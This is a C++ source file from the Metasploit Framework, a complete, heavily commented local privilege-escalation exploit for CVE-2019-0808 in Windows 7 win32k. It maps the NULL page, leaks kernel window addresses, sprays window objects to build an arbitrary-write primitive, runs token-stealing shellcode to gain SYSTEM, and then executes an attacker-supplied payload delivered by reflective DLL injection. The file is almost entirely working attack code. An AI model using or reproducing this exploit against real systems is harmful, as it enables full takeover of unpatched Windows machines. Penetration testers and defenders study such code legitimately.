metasploit-framework/external/source/exploits/CVE-2019-0808/NtUserMNDragOverExploit/dllmain.cpp

729 lines
30 KiB
C++

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <bcrypt.h> // Included to define NTSTATUS
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
typedef struct _MSF_PAYLOAD {
DWORD dwSize;
CHAR cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
// Define the undefined window message type WM_MN_FINDMENUWINDOWFROMPOINT so the code
// knows how to utilize it correctly within this program.
#define WM_MN_FINDMENUWINDOWFROMPOINT 0x1EB
// Set the success flag to indicate whether or not the exploit succeeded or not to FALSE.
BOOL success = FALSE;
// The following lines set up global variables to hold the handle of the primary
// and secondary windows to be used in the tagWND write primitive, as well as
// the address of each of these windows.
HWND hPrimaryWindow = NULL;
HWND hSecondaryWindow = NULL;
unsigned int primaryWindowAddress = 0;
unsigned int secondaryWindowAddress = 0;
UINT addressToWrite = 0;
/* The following definitions define the various structures
needed within sprayWindows() */
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address of the current _THRDESKHEAD object
} THRDESKHEAD, *PTHRDESKHEAD;
// Define the function prototype for NtAllocateVirtualMemory() so that this program
// knows how to call it correctly as well as what parameters it expects.
typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
// Create a pointer to the NtAllocateVirtualMemory() function and initialize it to NULL.
NtAllocateVirtualMemory pfnNtAllocateVirtualMemory = NULL;
// Create a HWND handle to hold the handle to the maliciously crafted window.
HWND hWndFakeMenu;
// Create a HWND handle to hold the handle to the application's main menu.
HWND hWndMain;
// This boolean will indicate whether or not hWndMain's window
// procedure is set to DefWindowProc() or not.
BOOL bIsDefWndProc = TRUE;
// This boolean will indicate whether or not the drag operation
// has been conducted with the mouse.
BOOL bDoneDrag = FALSE;
// Create a counter for the number of times the DisplayEventProc()
// function is hit, which will occur every time a popup menu is created.
volatile UINT iMenuCreated = 0;
// This function contains the inlined assembly responsible for making a syscall to
// NtUserMNDragOver(), which has a syscall value of 0x11ED on Windows 7 x86 and Windows
// 7 SP1 x86. Refer to https://j00ru.vexillium.org/syscalls/win32k/64/ for the syscall values
// for 64 bit Windows operating systems, or https://j00ru.vexillium.org/syscalls/win32k/32/
// for the syscall values for 32 bit Windows operating systems.
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
_asm {
mov eax, 0x11ED
push address2
push address1
mov edx, esp
int 0x2E
pop eax
pop eax
}
}
// Define function definition for HMValidateHandle() and name this function definition lHMValidateHandle.
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
// Define global pointer to HMValidateHandle() which is of function type lHMValidateHandle.
lHMValidateHandle pHmValidateHandle = NULL;
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
// one should always call va_end in the same function one calls va_start.
}
#else
#define dprintf(...)
#endif
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
// explaining this in an example along with the finer details that are often forgotten.
bool allocateNullPage() {
/* Set the base address at which the memory will be allocated to 0x1.
This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory(),
however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
PVOID BaseAddress = (PVOID)0x1;
/* Set the size to be allocated to 40960 to ensure that there
is plenty of memory allocated and available for use. */
SIZE_T size = 40960;
/* Call NtAllocateVirtualMemory() to allocate the virtual memory at address 0x0 with the size
specified in the variable size. Also make sure the memory is allocated with read, write,
and execute permissions.*/
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
// If the call to NtAllocateVirtualMemory() failed, return FALSE.
if (result != 0x0) {
return FALSE;
}
// If the code reaches this point, then everything went well, so return TRUE.
return TRUE;
}
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
// The address of the function HMValidateHandleAddress() is not exported to
// the public. IsMenu() on the other hand, is exported to the public via
// user32.dll and it contains a call to HMValidateHandle() early on within
// its setup code. The call starts with the byte \xEB, which marks the beginning
// of an indirect call. By obtaining the offset of this indirect call and adding it
// to the address where user32.dll is loaded, one can find the address of the
// HMValidateHandle() function within user32.dll and can call it directly.
// Obtain the address of the function IsMenu() from the currently loaded copy of user32.dll.
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenuFunction == NULL) {
dprintf("[!] Failed to find the address of IsMenu() within user32.dll.\r\n");
return FALSE;
}
else {
dprintf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
}
// Search for the location of the \xEB byte within the IsMenu() function
// to find the start of the indirect call to HMValidateHandle().
unsigned int offsetInIsMenuFunction = 0;
BOOL foundHMValidateHandleAddress = FALSE;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* pCurrentByte = pIsMenuFunction + i;
if (*pCurrentByte == 0xE8) {
offsetInIsMenuFunction = i + 1;
break;
}
}
// Throw error and exit if the \xE8 byte couldn't be located.
if (offsetInIsMenuFunction == 0) {
dprintf("[!] Couldn't find offset to HMValidateHandle() within IsMenu().\r\n");
return FALSE;
}
// Output address of user32.dll in memory for debugging purposes.
dprintf("[*] hUser32: 0x%08X\r\n", hUser32);
// Get the value of the relative address being called within the IsMenu() function.
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
dprintf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
// Find out how far the IsMenu() function is located from the base address of user32.dll.
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
dprintf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
// Take this offset and add to it the relative address used in the call to HMValidateHandle().
// Result should be the offset of HMValidateHandle() from the start of user32.dll.
unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
dprintf("[*] offset: 0x%08X\r\n", offset);
// Add the value of the "offset" variable to hUser32 to get the address of HmValidateHandle() within user32.dll.
// Additionally add 11 bytes since on Windows 10 these are not NOPs and it would be
// ideal if this code could be reused in the future.
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
dprintf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
return TRUE;
}
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Just a standard token stealing shellcode
__declspec(noinline) int Shellcode()
{
__asm {
xor eax, eax // Set EAX to 0.
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
// _KTHREAD is located at FS:[0x124]
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
mov ecx, eax // Copy current process _EPROCESS structure
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0xF8], edx // Assign SYSTEM process token.
}
}
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == WM_ENTERIDLE) {
WORD userModeVar = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable userMode.
mov ax, cs
mov userModeVar, ax
}
// If userModeVar is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (userModeVar == 0x1b)
{
// USER MODE
dprintf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
ExitProcess(-1); // Bail as if this code is hit either the target isn't vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback() window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing
}
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
// Define the HMValidateHandle() window type TYPE_WINDOW appropriately.
#define TYPE_WINDOW 1
/* Main function for spraying the tagWND objects into memory and finding two
that are less than 0x3fd00 apart */
bool sprayWindows() {
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
// Create and set up the window class for the sprayed window objects.
WNDCLASSEXW sprayClass = { 0 };
sprayClass.cbSize = sizeof(WNDCLASSEXW);
sprayClass.lpszClassName = TEXT("sprayWindowClass");
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed window objects to sprayCallback().
if (RegisterClassExW(&sprayClass) == 0) {
dprintf("[!] Couldn't register the sprayClass class! Error was: 0x%08X\r\n", GetLastError());
return FALSE;
}
// Create 0x100 windows using the sprayClass window class with the window name "spray".
for (int i = 0; i < 0x100; i++) {
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
}
// For each entry in the hwndSprayHandle table...
for (int x = 0; x < 0x100; x++) {
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
// Then start a loop to start comparing the kernel address of this hWND
// object to the kernel address of every other HWND object...
for (int y = 0; y < 0x100; y++) {
if (x != y) { // If x and y are the same value, then we are comparing the same entries in hwndSprayTable
// with one another, so in these cases skip one instance of the loop.
// Leak the kernel address of the second HWND object being used in the comparison, save it into secondEntryAddress.
THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
// If the kernel address of the HWND object leaked earlier in the code is greater than
// the kernel address of the HWND object leaked above, execute the following code.
if (firstEntryAddress > secondEntryAddress) {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
dprintf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
dprintf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
// Save the handle of secondEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[y];
primaryWindowAddress = secondEntryAddress;
// Save the handle of firstEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[x];
secondaryWindowAddress = firstEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
// If the kernel address of the HWND object leaked earlier in the code is less than
// the kernel address of the HWND object leaked above, execute the following code.
else {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
dprintf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
dprintf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
// Save the handle of firstEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[x];
primaryWindowAddress = firstEntryAddress;
// Save the handle of secondEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[y];
secondaryWindowAddress = secondEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
}
}
// Check if the inner loop ended and the windows were found. If so print a debug message.
// Otherwise continue on to the next object in the hwndSprayTable array.
if (hPrimaryWindow != NULL) {
dprintf("[*] Found target windows!\r\n");
break;
}
}
// Check that hPrimaryWindow isn't NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
dprintf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
return FALSE;
}
// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p < 0x100; p++) {
HWND temp = hwndSprayHandleTable[p];
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
DestroyWindow(temp);
}
}
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to primaryWindow's cbwndExtra field.
dprintf("[*] Destroyed spare windows!\r\n");
// Check if its possible to set the window text in hSecondaryWindow.
// If this isn't possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
dprintf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
return FALSE;
}
else {
return TRUE;
}
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
switch (iMenuCreated)
{
case 0:
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); // Press the left mouse button down on point (0x5, 0x5).
break;
case 1:
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); // Drag the mouse, with the left mouse button down, to point (0x6, 0x6)
break;
}
dprintf("[*] MSG\n");
iMenuCreated++; // Increment iMenuCreated every time this is called.
}
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) {
dprintf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
dprintf("[*] Restoring window procedure...\r\n");
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex(), except
wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
This is an important information leak as without this the attacker cannot manipulate the values
returned from MNGetpItemFromIndex(), which can result in kernel crashes and a dramatic decrease in
exploit reliability.
*/
UINT pPopupAddressInCalculations = wParam + 0x10;
// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
// Set offset 0x20 of the NULL page to 0xFFFFFFFF to bypass this check in MNGetpItemFromIndex()
// by setting the value to be compared to EAX to a really high value. The check's code can be seen below.
//
// cmp eax, [ecx + 20h]
// jnb short loc_BF96F0CA;
//
memcpy_s((void *)0x20, 4, "\xFF\xFF\xFF\xFF", 4);
// Set offset 0x34 in the NULL page to the addressToWrite to, as offset
// 0x34 will contain a DWORD that determines where in memory the arbitrary write will write to.
memcpy_s((void *)0x34, 4, &addressToWriteTo, 4);
/* Calculate what value to put in offset 0x4C of the NULL page so that the second
call to MNGetpItemFromIndex() will return an address within the NULL page region that
is readable. The math used here is the same as the address calculation math used previously,
but the operations are just done somewhat in reverse. */
UINT secondAddress = ((0x100000180 - addressToWriteTo) / 0x6C);
/* Fill out offset 0x4C of the NULL page so that MNGetpItemFromIndex() succeeds and returns an address,
which when incremented by 0x28, points to a readable address. The snippet below shows the
relevant code inside win32k.sys which will pass offset 0x4C of the NULL page to MNGetpItemFromIndex()
and which will add 0x28 to address returned before using it as a pointer to an address to read from.
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
.text:BF975EA3 ;
.text:BF975EA3 ; Should set EAX to 0 or NULL.
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex. This will be the value at address 0x4C given
.text:BF975EA6 ; that ppopupmenu->spmenu is NULL.
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
.text:BF975EAA call MNGetpItemFromIndex
..............
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
.text:BF975EBA ;
.text:BF975EBA ; pItemFromIndex->yItem will be the value
.text:BF975EBA ; at offset 0x28 of whatever value
.text:BF975EBA ; MNGetpItemFromIndex returns. */
memcpy_s((void *)0x4C, 4, &secondAddress, 4);
/* Starting at offset 0x50, set all the rest of the bytes to 0xF0. This will ensure
that the jump at 0xBF975ED0 is NOT taken by setting the value of pItemFromIndex->yItem to 0xF0F0F0F0.
.text:BF975ECE cmp ecx, ebx
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following condition is true:
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
*/
memset((void *)0x50, 0xF0, 0x1000);
return (ULONG)hWndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
// If the drag and drop operation hasn't started yet, then just call the next hook if there is one.
if (!bDoneDrag) {
return CallNextHookEx(0, code, wParam, lParam);
}
// If the incoming message was a WM_MN_FINDMENUWINDOWFROMPOINT message, then set bIsDefWndProc to FALSE
// to indicate hWndMain's window procedure is no longer DefWindowProc(), and set hWndMain's window
// procedure to SubMenuProc().
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
{
bIsDefWndProc = FALSE;
dprintf("[*] HWND: %p \n", cwp->hwnd);
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
}
else {
if ((cwp->message == 0x1E5)) {
UINT offset = 0; // Create the offset variable which will hold the offset from the start of
// hPrimaryWindow's cbwnd data field to write to.
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set addressOfStartofPrimaryWndCbWndData to the address of
// the start of hPrimaryWindow's cbwnd data field.
// Set offset to the difference between hSecondaryWindow's
// strName.Buffer's memory address and the address of
// hPrimaryWindow's cbwnd data field.
offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
dprintf("[*] Offset: 0x%08X\r\n", offset);
// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16), or the address of the bServerSideWindowProc bit.
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
dprintf("[!] An error occurred when using SetWindowLongA() to set the bServerSideWindowProc bit: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
dprintf("[*] SetWindowLongA() called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
}
// Write the value \x06 to it to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
dprintf("[!] SetWindowTextA() couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
dprintf("[*] Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
dprintf("[*] Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
dprintf("[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!\r\n");
}
else {
dprintf("[!] Exploit failed, we did not elevate our privileges for some reason!\r\n");
ExitProcess(-1);
}
}
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
int exploit(PMSF_PAYLOAD pMsfPayload)
{
dprintf("[*] Exploiting!\r\n");
// Create the primary popup menu and its submenu
HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
if ((hMenuRoot == NULL) || (hMenuSub == NULL)){
dprintf("[!] Couldn't create the popup menus needed to exploit this vulnerability. Exiting!\r\n");
return -1;
}
// Get a HINSTANCE handle to the current process.
HINSTANCE hInst = GetModuleHandleA(NULL);
if (hInst == NULL){
dprintf("[!] Couldn't get a handle to the current process! Exiting!\r\n");
return -1;
}
// Get the address of NtAllocateVirtualMemory() from ntdll.dll's export table.
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
// Set the window hook and the event hook.
if (SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId()) == NULL){
dprintf("[!] Couldn't set the WH_CALLWNDPROC hook, error was: 0x%08x\r\n", GetLastError());
return -1;
}
if (SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, hInst, DisplayEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0) == 0){
dprintf("[!] Couldn't set the EVENT_SYSTEM_MENUPOPUPSTART event hook, error was: 0x%08x\r\n", GetLastError());
return -1;
}
// Set up the buffers for the call to NtUserMNDragOver().
CHAR buf[0x100] = { 0 };
POINT pt;
pt.x = 2;
pt.y = 2;
// Allocate the NULL page. If this fails, exit the program.
if (allocateNullPage() == FALSE) {
dprintf("[!] Couldn't allocate the NULL page!\r\n");
return -1;
}
else {
dprintf("[*] Allocated the NULL page!\r\n");
}
// Just to be sure that these modules are loaded, lets load them again.
// Also allows the attacker to grab the address where user32.dll is loaded in memory.
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");
// Find the address of HMValidateHandle() using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
dprintf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
return -1;
}
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
dprintf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
return -1;
}
// Create the malicious window, which will have its spMenu field set to NULL.
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
if (hWndFakeMenu == NULL){
dprintf("[!] Couldn't create hWndFakeMenu using menu class #32768. Error was: 0x%08x\r\n", GetLastError());
return -1;
}
dprintf("[*] FakeMenu: %p \n", hWndFakeMenu);
// Change the menu settings for the two popup menus so that they are drag and drop enabled.
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
if (SetMenuInfo(hMenuRoot, &mi) == 0){
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
if (SetMenuInfo(hMenuSub, &mi) == 0){
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
// Set up the hMenuRoot popupmenu to be the root popup menu which will display hMenuSub when selected.
if (AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root") == 0){
dprintf("[!] Failed to append hMenuRoot to the menu bar using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
if (AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub") == 0){
dprintf("[!] Failed to append hMenuSub to hMenuRoot using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
// Create the class wndClass, set its window procedure to DefWindowProc(), and then create hWndMain using this class.
WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
if (hWndMain == NULL){
dprintf("[!] Was unable to create the window hWndMain! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
// Show the hMenuRoot popup menu.
if (TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL) == 0){
dprintf("[!] Was unable to display the hMenuRoot popup menu using TrackPopupMenuEx()! Error was: 0x%08x\r\n", GetLastError());
return -1;
}
// Window message loop for handling window messages.
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
// Ensure that the call to NtUserMNDragOver() is made only once
// the environment is set up correctly.
if (iMenuCreated >= 1) {
bDoneDrag = TRUE;
callNtUserMNDragOverSysCall(&pt, buf);
break;
}
}
// Execute payload if and only if exploit succeeds.
if (success == FALSE) {
dprintf("[!] Exploit failed!\n");
return -1;
}
dprintf("[*] Exploit completed successfully!\n");
if (!pMsfPayload) {
dprintf("[!] No payload to execute!\n");
return -1;
}
LPVOID shellcode = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcode) {
dprintf("[!] Shellcode allocation failed!\n");
return -1;
}
memcpy(shellcode, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
((void(*)()) shellcode)();
return 0;
}
DWORD CALLBACK ExploitThread(LPVOID lpReserved)
{
exploit((PMSF_PAYLOAD)lpReserved);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, ExploitThread, lpReserved, 0, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}